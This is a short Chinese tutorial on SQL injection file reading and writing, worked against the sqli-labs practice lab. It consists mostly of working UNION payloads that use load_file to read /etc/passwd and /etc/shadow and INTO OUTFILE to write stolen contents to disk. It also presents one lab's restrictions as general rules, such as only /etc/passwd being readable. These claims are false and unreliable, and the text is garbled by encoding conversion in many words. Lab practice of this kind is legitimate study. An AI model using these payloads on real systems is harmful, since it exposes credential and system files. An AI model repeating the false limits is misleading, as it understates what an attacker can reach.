SQL注入-讀取文件

使用函數(shù) load_file("文件路徑/名稱(chēng)")

1、讀取/etc/passwd 文件(SQL注入只能讀取/etc/passwd文件，不能讀取其他文件)

http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 or '1'='1

2、若讀取其他文件則沒(méi)效果顯示

http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/shadow"),3 --+

SQL注入-寫(xiě)入文件

使用語(yǔ)句 into outfile '/路徑/文件名'，into outfile語(yǔ)句用于把表數(shù)據(jù)導(dǎo)出到一個(gè)文本文件中(路徑只能是/var/lib/mysql/，不能是其他的路徑)

1、將讀取的/etc/passwd文件寫(xiě)入到/var/lib/mysql/中

# 將讀取的/etc/passwd文件寫(xiě)入到/var/lib/mysql/；且1,3參數(shù)也會(huì)被寫(xiě)入

http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 into outfile "/var/lib/mysql/passwd" --+

cat /var/lib/mysql/passwd

2、若路徑寫(xiě)為其他路徑則會(huì)報(bào)錯(cuò)，如/opt/passwd

#Can't create/write to file '/opt/passwd' (Errcode: 2)

http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 into outfile "/opt/passwd" --+

總結(jié)

以上是生活随笔為你收集整理的mysql 报错注入 读文件_SQL注入-读写文件的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。